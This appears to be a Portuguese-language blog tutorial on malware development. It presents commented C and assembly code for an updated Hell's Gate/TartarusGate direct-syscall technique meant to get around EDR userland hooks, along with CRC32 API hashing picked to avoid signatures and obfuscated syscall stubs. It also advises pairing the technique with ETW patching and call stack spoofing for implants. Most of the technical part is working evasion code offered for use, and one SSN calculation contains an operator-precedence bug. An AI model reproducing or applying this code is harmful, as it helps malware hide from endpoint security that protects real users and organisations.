Por que isso importa (e muito)
Bora ser direto: se você tá desenvolvendo malware em 2026 e ainda tá chamando funções Win32 direto pela API de alto nível, você já perdeu. Os EDRs modernos — CrowdStrike, SentinelOne, Defender for Endpoint — todos eles fazem a mesma coisa: injetam uma DLL no seu processo e hookam as funções NT na ntdll.dll. Sabe aquele NtProtectVirtualMemory que você chama pra marcar memória como executável antes de rodar o shellcode? É exatamente ali que o EDR tá te esperando, coffee in hand, pronto pra encerrar sua sessão.
O Hell's Gate original foi uma virada de chave quando saiu. A ideia era genial: em vez de chamar a função hookada, você lê os bytes da própria função em memória, extrai o SSN (Syscall Service Number) diretamente daí, e chama o syscall você mesmo em assembly. Sem passar pelo hook. O problema? Se o EDR hookava os primeiros bytes da função — aquele clássico 0xE9 de JMP no início — o Hell's Gate original simplesmente falhava. Ele não sabia lidar com função hooked.
É aqui que entra o que eu vou te mostrar hoje: uma versão atualizada do Hell's Gate que troca o hash de DJB2 por CRC32 (menos assinatura), melhora a arquitetura do código com estruturas dedicadas, e adota a lógica do TartarusGate para recuperar SSN mesmo quando a função alvo tá completamente hooked. Isso não é upgrade cosmético — é a diferença entre o seu implant rodando ou sendo detectado na hora que você mais precisa.
Contexto técnico: o que tá acontecendo por baixo dos panos
Como userland hooks funcionam (pra você entender o que tá evadindo)
Quando um EDR quer monitorar chamadas de syscall, ele não mexe no kernel — isso seria complexo e arriscado. Em vez disso, ele injeta uma DLL (geralmente via SetWindowsHookEx ou um driver que força o carregamento) no seu processo e sobrescreve os primeiros bytes das funções na ntdll.dll em memória.
A função original NtAllocateVirtualMemory começa com:
4C 8B D1 mov r10, rcx
B8 18 00 00 00 mov eax, 0x18 ; SSN = 0x18
0F 05 syscall
C3 ret
Depois do hook, ela começa com:
E9 XX XX XX XX jmp <endereço do EDR>
Quando você chama essa função, em vez de executar o syscall, você vai direto pro código do EDR, que analisa o que você tá tentando fazer e decide se deixa passar ou não.
O SSN e por que ele é a chave de tudo
Cada syscall no Windows tem um número único — o SSN. Esse número é o que o kernel usa pra saber qual serviço você tá pedindo. Quando você faz um syscall em assembly, o valor no registrador eax é o SSN. O kernel pega esse número, indexa numa tabela (SSDT — System Service Descriptor Table), e executa a função correspondente.
O truque do Hell's Gate é: em vez de chamar a função hookada, você pega o SSN diretamente dos bytes dela e monta o syscall você mesmo. Sem intermediários.
O problema é quando a função tá hooked — os bytes 4C 8B D1 B8 (que indicam mov r10, rcx; mov eax, SSN) foram substituídos por um JMP. Como você pega o SSN agora?
TartarusGate: usando os vizinhos pra calcular o alvo
Aqui tá a sacada do TartarusGate. No Windows, os syscalls da ntdll são organizados em ordem crescente de SSN na memória. Se NtProtectVirtualMemory tem SSN 0x50, o syscall logo abaixo dele tem SSN 0x51, e o de cima tem SSN 0x4F.
Então, se NtProtectVirtualMemory tá hooked, você procura nos vizinhos (pra cima e pra baixo) até achar um que não tá hooked. Quando acha, você faz a conta:
Se encontrou o vizinho abaixo (índice
idx): SSN alvo = SSN_vizinho - idxSe encontrou o vizinho acima (índice
idx): SSN alvo = SSN_vizinho + idx
Simples assim. E funciona mesmo que múltiplos syscalls consecutivos estejam hookados — você só vai mais longe na busca, até um máximo de 255 (RANGE).
Código comentado: destrinchando as mudanças
1. Novo hash: CRC32 no lugar de DJB2
#define SEED 0xEDB88320 // polinômio padrão do CRC32
unsigned int crc32h(char* message) {
int i, crc;
unsigned int byte, c;
// pré-computa os 8 valores do gerador baseados no SEED
// isso é o coração do algoritmo CRC32 — cada bit tem peso diferente
const unsigned int g0 = SEED, g1 = g0 >> 1,
g2 = g0 >> 2, g3 = g0 >> 3, g4 = g0 >> 4, g5 = g0 >> 5,
g6 = (g0 >> 6) ^ g0, g7 = ((g0 >> 6) ^ g0) >> 1;
i = 0;
crc = 0xFFFFFFFF; // valor inicial padrão do CRC32
while ((byte = message[i]) != 0) {
crc = crc ^ byte; // XOR com o byte atual
// aplica o polinômio bit a bit — cada shift+AND isola um bit do crc
// e aplica o coeficiente correspondente (g0..g7)
c = ((crc << 31 >> 31) & g7) ^ ((crc << 30 >> 31) & g6) ^
((crc << 29 >> 31) & g5) ^ ((crc << 28 >> 31) & g4) ^
((crc << 27 >> 31) & g3) ^ ((crc << 26 >> 31) & g2) ^
((crc << 25 >> 31) & g1) ^ ((crc << 24 >> 31) & g0);
crc = ((unsigned)crc >> 8) ^ c; // shift e mistura
i = i + 1;
}
return ~crc; // inversão final — padrão CRC32
}
// macro pra usar limpo no código
#define HASH(API) crc32h((char*)API)
Por que mudar de DJB2? Porque DJB2 é a implementação mais comum em ferramentas públicas de maldev. Qualquer YARA rule decente já tem o pattern 0x5381 (constante do DJB2) como indicador. CRC32 com SEED customizado é bem menos assinado. Muda o SEED pra um valor seu e você tem um hash único.
2. NTDLL_CONFIG: organização que faz diferença
typedef struct _NTDLL_CONFIG
{
PDWORD pdwArrayOfAddresses; // VA do array de endereços das exports
PDWORD pdwArrayOfNames; // VA do array de nomes das exports
PWORD pwArrayOfOrdinals; // VA do array de ordinals das exports
DWORD dwNumberOfNames; // total de funções exportadas
ULONG_PTR uModule; // base address da ntdll — base pra calcular RVAs
} NTDLL_CONFIG, *PNTDLL_CONFIG;
NTDLL_CONFIG g_NtdllConf = { 0 }; // global inicializado zero
A ideia aqui é simples: em vez de recalcular os ponteiros pra export directory toda vez que você procura um syscall, você faz isso uma vez e guarda numa estrutura global. Lazy initialization — só inicializa quando precisa.
3. InitNtdllConfigStructure: PE parsing na veia
BOOL InitNtdllConfigStructure() {
// lê o PEB diretamente via GS segment — sem chamar nenhuma API
// gs:0x60 é o offset do PEB no TEB em x64
PPEB pPeb = (PPEB)__readgsqword(0x60);
if (!pPeb || pPeb->OSMajorVersion != 0xA) // só Windows 10/11
return FALSE;
// navega na InMemoryOrderModuleList pra pegar a ntdll
// o primeiro elemento é o próprio processo (nosso .exe)
// o segundo (Flink->Flink) é a ntdll.dll
// subtrai 0x10 porque LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks não começa no início da struct
PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)(
(PBYTE)pPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10
);
ULONG_PTR uModule = (ULONG_PTR)(pLdr->DllBase);
if (!uModule)
return FALSE;
// parsing manual do PE — DOS header → NT headers → Export directory
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)uModule;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE) // verifica 'MZ'
return FALSE;
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(uModule + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE) // verifica 'PE\0\0'
return FALSE;
// DataDirectory[0] = export table
PIMAGE_EXPORT_DIRECTORY pImgExpDir = (PIMAGE_EXPORT_DIRECTORY)(
uModule + pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
);
if (!pImgExpDir)
return FALSE;
// popula a estrutura global — tudo relativo à base da ntdll
g_NtdllConf.uModule = uModule;
g_NtdllConf.dwNumberOfNames = pImgExpDir->NumberOfNames;
g_NtdllConf.pdwArrayOfNames = (PDWORD)(uModule + pImgExpDir->AddressOfNames);
g_NtdllConf.pdwArrayOfAddresses = (PDWORD)(uModule + pImgExpDir->AddressOfFunctions);
g_NtdllConf.pwArrayOfOrdinals = (PWORD)(uModule + pImgExpDir->AddressOfNameOrdinals);
// validação final — se qualquer campo for zero, falhou
if (!g_NtdllConf.uModule || !g_NtdllConf.dwNumberOfNames ||
!g_NtdllConf.pdwArrayOfNames || !g_NtdllConf.pdwArrayOfAddresses ||
!g_NtdllConf.pwArrayOfOrdinals)
return FALSE;
else
return TRUE;
}
Note que em nenhum momento aqui chamamos GetModuleHandle, GetProcAddress ou qualquer função da API Win32. Tudo é resolvido manualmente via PEB e PE parsing. Isso importa porque essas funções também podem estar hooked.
4. FetchNtSyscall com TartarusGate: o coração da implementação
// tamanho fixo de cada syscall stub na ntdll = 32 bytes
#define UP -32 // offset pra ir pro syscall anterior (acima na memória)
#define DOWN 32 // offset pra ir pro próximo syscall (abaixo na memória)
#define RANGE 255 // máximo de vizinhos pra verificar
BOOL FetchNtSyscall(IN DWORD dwSysHash, OUT PNT_SYSCALL pNtSys) {
// lazy init da config da ntdll
if (!g_NtdllConf.uModule) {
if (!InitNtdllConfigStructure())
return FALSE;
}
if (dwSysHash != NULL)
pNtSys->dwSyscallHash = dwSysHash;
else
return FALSE;
for (size_t i = 0; i < g_NtdllConf.dwNumberOfNames; i++){
PCHAR pcFuncName = (PCHAR)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfNames[i]);
PVOID pFuncAddress = (PVOID)(g_NtdllConf.uModule +
g_NtdllConf.pdwArrayOfAddresses[g_NtdllConf.pwArrayOfOrdinals[i]]);
pNtSys->pSyscallAddress = pFuncAddress;
if (HASH(pcFuncName) == dwSysHash) {
// CASO 1: função não está hookada
// verifica os opcodes: 4C 8B D1 B8 [SSN lo] [SSN hi] 00 00
// isso é: mov r10, rcx; mov eax, <ssn>
if (*((PBYTE)pFuncAddress) == 0x4C
&& *((PBYTE)pFuncAddress + 1) == 0x8B
&& *((PBYTE)pFuncAddress + 2) == 0xD1
&& *((PBYTE)pFuncAddress + 3) == 0xB8
&& *((PBYTE)pFuncAddress + 6) == 0x00
&& *((PBYTE)pFuncAddress + 7) == 0x00) {
BYTE high = *((PBYTE)pFuncAddress + 5);
BYTE low = *((PBYTE)pFuncAddress + 4);
pNtSys->dwSSn = (high << 8) | low; // monta o SSN de 16 bits
break;
}
// CASO 2: hooked no início (byte 0 = 0xE9 = JMP)
// EDR substituiu o mov r10, rcx por um JMP logo de cara
if (*((PBYTE)pFuncAddress) == 0xE9) {
for (WORD idx = 1; idx <= RANGE; idx++) {
// busca ABAIXO (syscall seguinte tem SSN maior)
if (*((PBYTE)pFuncAddress + idx * DOWN) == 0x4C
&& *((PBYTE)pFuncAddress + 1 + idx * DOWN) == 0x8B
&& *((PBYTE)pFuncAddress + 2 + idx * DOWN) == 0xD1
&& *((PBYTE)pFuncAddress + 3 + idx * DOWN) == 0xB8
&& *((PBYTE)pFuncAddress + 6 + idx * DOWN) == 0x00
&& *((PBYTE)pFuncAddress + 7 + idx * DOWN) == 0x00) {
BYTE high = *((PBYTE)pFuncAddress + 5 + idx * DOWN);
BYTE low = *((PBYTE)pFuncAddress + 4 + idx * DOWN);
// vizinho abaixo tem SSN maior, então subtraímos idx
pNtSys->dwSSn = (high << 8) | low - idx;
break;
}
// busca ACIMA (syscall anterior tem SSN menor)
if (*((PBYTE)pFuncAddress + idx * UP) == 0x4C
&& *((PBYTE)pFuncAddress + 1 + idx * UP) == 0x8B
&& *((PBYTE)pFuncAddress + 2 + idx * UP) == 0xD1
&& *((PBYTE)pFuncAddress + 3 + idx * UP) == 0xB8
&& *((PBYTE)pFuncAddress + 6 + idx * UP) == 0x00
&& *((PBYTE)pFuncAddress + 7 + idx * UP) == 0x00) {
BYTE high = *((PBYTE)pFuncAddress + 5 + idx * UP);
BYTE low = *((PBYTE)pFuncAddress + 4 + idx * UP);
// vizinho acima tem SSN menor, então somamos idx
pNtSys->dwSSn = (high << 8) | low + idx;
break;
}
}
}
// CASO 3: hooked depois dos 3 primeiros bytes (byte 3 = 0xE9)
// EDR esperou passar o mov r10, rcx e hookeu no mov eax
// mesma lógica do caso 2
if (*((PBYTE)pFuncAddress + 3) == 0xE9) {
// [mesma lógica de busca up/down — omitido por brevidade]
}
break;
}
}
if (pNtSys->dwSSn != NULL && pNtSys->pSyscallAddress != NULL &&
pNtSys->dwSyscallHash != NULL)
return TRUE;
else
return FALSE;
}
5. Assembly obfuscado: SetSSn e RunSyscall
.data
wSystemCall DWORD 0000h ; variável global que guarda o SSN atual
.code
SetSSn PROC
xor eax, eax ; zera eax — instrução inocente, quebra pattern
mov wSystemCall, eax ; reseta a variável global
mov eax, ecx ; ecx = primeiro argumento (o SSN)
mov r8d, eax ; joga em r8d — instrução extra pra confundir
mov wSystemCall, r8d ; salva o SSN na variável global
ret
SetSSn ENDP
RunSyscall PROC
xor r10, r10 ; zera r10 — ruído pra análise estática
mov rax, rcx ; rcx = primeiro arg da função que queremos chamar
mov r10, rax ; r10 = rcx (convenção de chamada de syscalls NT)
mov eax, wSystemCall ; eax = SSN (kernel vai ler daqui)
jmp Run ; pula pra Run — evita pattern linear de 5 bytes
xor eax, eax ; código morto — nunca executa
xor rcx, rcx ; código morto — nunca executa
shl r10, 2 ; código morto — nunca executa
Run:
syscall ; instrução de syscall de fato
ret
RunSyscall ENDP
end
O JMP antes do syscall é um detalhe elegante. Muitos scanners de shellcode procuram a sequência mov r10, rcx; mov eax, <ssn>; syscall em bytes consecutivos. Com o JMP no meio, você quebra esse padrão linear sem afetar a execução.
Análise: onde funciona, onde falha, como detectar
Por que a abordagem TartarusGate funciona
A premissa central é que EDRs hooks funções individualmente — eles não vão hookar todas as 400+ funções da ntdll porque isso seria caro demais em performance. Na prática, eles hookam um subconjunto das funções mais sensíveis. Isso significa que qualquer função hooked vai ter vizinhas não hooked no espaço de endereços, e a lógica de idx vai funcionar.
O RANGE de 255 é conservador. Na prática, você raramente vai precisar ir além de 5-10 vizinhos.
Onde a abordagem tem limitações
Kernel Callbacks: EDRs sofisticados também usam kernel callbacks (PsSetCreateProcessNotifyRoutine, PsSetCreateThreadNotifyRoutine, etc.) além dos userland hooks. Syscalls diretos evam os hooks de userland, mas os callbacks no kernel ainda disparam. Um NtCreateThreadEx direto ainda vai notificar o driver do EDR via kernel callback.
ETW (Event Tracing for Windows): O kernel loga eventos de syscall via ETW. Alguns EDRs monitoram isso. Syscalls diretos não evam ETW.
Scan de memória: O padrão de buscar SSN nos vizinhos pode ser detectado por análise comportamental — alguém lendo os bytes de múltiplas funções da ntdll em sequência é suspeito.
Hardcoded SSNs: A alternativa mais simples é hardcodar os SSNs por versão de Windows. Menos elegante, mas elimina a necessidade de qualquer leitura em memória.
Como EDRs detectam essa técnica
Heurística de leitura de ntdll: leitura sistemática dos bytes das funções NT é flag de comportamento suspeito
Análise do call stack: syscalls legítimos têm um call stack que passa pela ntdll. Direct syscalls têm um call stack "limpo" demais — sem frames da ntdll. Alguns EDRs checam isso via
RtlCaptureStackBackTraceDetecção de JOP/ROP gadgets: o padrão
syscallfora da ntdll é anomalia flagrável
Na minha visão: quando usar e quando não usar
Olha, direct syscalls são uma ferramenta poderosa mas não são bala de prata. Minha opinião honesta:
Use quando: você tá desenvolvendo implants pra red team ops em ambientes com EDR corporativo moderno, especialmente quando as operações críticas (allocate → protect → createthread) precisam passar despercebidas no userland.
Não use quando: você quer evasão de verdade em 2026. Só direct syscalls não é suficiente. Você precisa combinar com: syscall address indirection (chamar o syscall de dentro da ntdll mesmo pra ter call stack legítimo), ETW patching, heap encryption pro payload, e spoofing de parent process no mínimo.
Comparando com alternativas:
Manual mapping de ntdll limpa: carrega uma cópia fresh da ntdll do disco (antes dos hooks), funciona bem mas é flagrável por ter dois mappings da ntdll no processo
Unhooking explícito: restaura os bytes originais sobrescrevendo o hook — funciona mas é detectável pela mudança de páginas protegidas
Hell's Gate + TartarusGate (esse aqui): balanço bom entre complexidade e eficácia, e você não precisa modificar nada em memória além do seu próprio espaço de trabalho
O CRC32 no lugar de DJB2 é um detalhe que eu acho importante mesmo sendo sutil. Assinatura de string hashing é uma das primeiras coisas que scanners automáticos checam. Mudar o algoritmo E o SEED custa zero em eficácia e diminui surface de detecção estática.
Conclusão: o que estudar depois
Se você chegou até aqui e entendeu tudo, você tá bem encaminhado pra maldev sério. Mas o próximo nível exige que você vá além:
1. Call Stack Spoofing — o problema mais urgente com direct syscalls. Pesquisa SilentMoonwalk e ThreadStackSpoofer. A ideia é forjar o call stack pra parecer que o syscall veio de código legítimo.
2. Indirect Syscalls — em vez de executar o syscall instruction no seu código, você redireciona a execução pra instrução syscall que existe dentro da própria ntdll (depois dos hooks, que ficam nos primeiros bytes). Isso mantém o call stack limpo. Procura por RecycledGate e HalosGate.
3. ETW Patching — Event Tracing for Windows pode vazar informações sobre suas chamadas mesmo quando os hooks de userland são evadidos. Patch no EtwEventWrite em userland é relativamente simples.
4. NTDLL Freshcopy — carregar uma cópia não hookada da ntdll direto do disco ou mapeando o arquivo manualmente. Mais pesado mas elimina a dependência de reverse engineering dos hooks.
5. Kernel Driver (se você tiver coragem) — a evasão definitiva. Mas aí você tá num jogo completamente diferente, com KMDF, DSE, e todo um universo de complexidade.
O Hell's Gate evoluído que vimos hoje é uma base sólida. Mas o jogo entre ofensiva e defensiva em segurança de endpoints é constante — o que funciona hoje pode ser assinado amanhã. Entender por que cada técnica funciona, como o lado defensivo detecta, e qual é o próximo vetor é o que separa quem vai longe de quem fica rodando scripts de outros.
Bora continuar estudando.